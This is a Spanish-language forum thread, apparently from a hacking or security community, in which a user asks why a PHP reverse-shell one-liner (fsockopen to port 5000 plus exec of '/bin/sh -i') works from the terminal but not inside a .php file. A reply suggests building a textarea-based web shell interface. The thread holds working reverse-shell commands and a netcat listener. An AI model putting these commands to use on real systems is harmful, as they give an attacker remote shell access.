[SOLUCIONADO] Duda PHP

Iniciado por Michb, Julio 04, 2012, 06:18:20 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Julio 04, 2012, 06:18:20 PM Ultima modificación: Mayo 20, 2015, 01:14:33 PM por Expermicid
Hola foro tengo una duda

si pongo netcat a la escucha en el puerto 5000:
netcat -l -p 5000 -vv

y en otra terminal ejecuto esto:
php -r '$sock=fsockopen("127.0.0.1",5000);exec("/bin/sh -i <&3 >&3 2>&3");'

me devuelve una shell, Todo correcto ahora si creo una archivo.php y hago esto:

       
Código: php
<?php
        //NO ME FUNCIONA, No devuelve la shell
        $ultima_linea = system("php -r '\$sock=fsockopen(\"127.0.0.1\",5000);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",$retval);
        ?>     
 

o esto:
       
       
Código: php
//NO ME FUNCIONA, No devuelve la shell, Péeero si conecta....
        <?php
        $sock=fsockopen(127.0.0.1, 5000);
        exec("/bin/sh -i <&3 >&3 2>&3");
        ?>

necesitas manejar lo que envias y lo que te llega :D...  asi que te tocaria crear digamos un (o dos) textarea en donde se cree algo asi como una shell que muestre el resultado que recibes y que al dar enter te envie lo que escribas (mejor si 2 una para enviar y otra para recibir)...

Espero me hayas entendido ;)

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Acepta con humildad y aprecio que en la vida la muerte es inevitable y amarás ésta, adorando la muerte